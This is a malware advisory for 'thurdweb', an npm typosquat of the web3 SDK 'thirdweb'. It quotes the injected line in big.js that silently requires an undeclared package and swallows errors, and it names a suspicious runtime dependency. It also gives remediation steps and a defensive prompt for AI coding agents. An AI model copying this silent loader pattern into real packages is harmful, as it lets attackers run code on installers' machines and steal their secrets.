# MAL-2026-6345: Malicious code in thurdweb (npm)


- **Type:** Malicious package
- **Package:** `thurdweb` (npm)
- **Published:** 23 Jun 2026
- **Also known as:** GHSA-vx4c-33rj-4xv8

## What is MAL-2026-6345?

MAL-2026-6345 is a malicious package in thurdweb, published on 23 Jun 2026. 

### Official description

Package name `thurdweb` is a one-character substitution of the popular web3 SDK `thirdweb`, but the shipped source is a copy of MikeMcl/big.js (arbitrary-precision decimal arithmetic) — the public API has no relation to the impersonated target. The library file (`big.js` / `big.mjs` lines 605-608) contains an injected top-level block that fires on `require('thurdweb')` / `import 'thurdweb'`: `try { const doc = require("parket-slot"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }`. `parket-slot` is not declared in `package.json` `dependencies`, and the entire call is wrapped in an empty try/catch that silently swallows every error. `package.json` additionally declares `log-taker@^0.0.9` as a runtime dependency, which is unrelated to decimal arithmetic and shares the same nondescriptive shape. Any installer who imports this package transitively loads attacker-controlled code from sibling packages whose contents the publisher controls and can mutate independently of this tarball; the silent error handler hides failure from the consumer.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-6345?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6345 is a malicious package: thurdweb (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6345/ (Markdown: https://insights.sbomify.com/MAL-2026-6345/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6345

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-6345/
Summaries are generated and may contain mistakes; the official description above is the record.